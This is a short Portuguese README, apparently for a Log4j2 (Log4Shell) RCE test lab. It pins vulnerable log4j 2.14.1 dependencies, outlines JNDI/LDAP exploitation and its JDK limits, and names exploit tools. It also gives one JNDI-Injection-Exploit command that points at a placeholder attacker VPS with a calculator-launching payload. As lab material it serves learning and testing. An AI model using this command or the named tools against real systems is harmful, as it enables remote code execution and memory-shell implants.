Ambiente de Verificação RCE do Apache Log4j2

Desde 2021.12.09

Algumas Referências

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

Configuração do Ambiente

Importar os pacotes relevantes do Maven e a faixa de versões vulneráveis

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

Verificação

Usar dnslog para detectar se está sendo utilizado

ldap combinado com jndi para RCE

Relacionado à versão do JDK, após JDK 11.0.1, 8u191, 7u201, 6u211 é necessário definir manualmente trustURLCodebase como true

Para aprendizado detalhado sobre isso, consulte https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

Método de exploração, pode ser combinado com ferramentas de injeção jndi, como JNDI-Injection-Exploit, fastjson_rce_tool, JNDIExploit

Também é possível combinar ferramentas para implementar vários métodos públicos de echo e injeção de shell na memória

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

Web

TODO

Sobre

https://github.com/apache/logging-log4j2/tags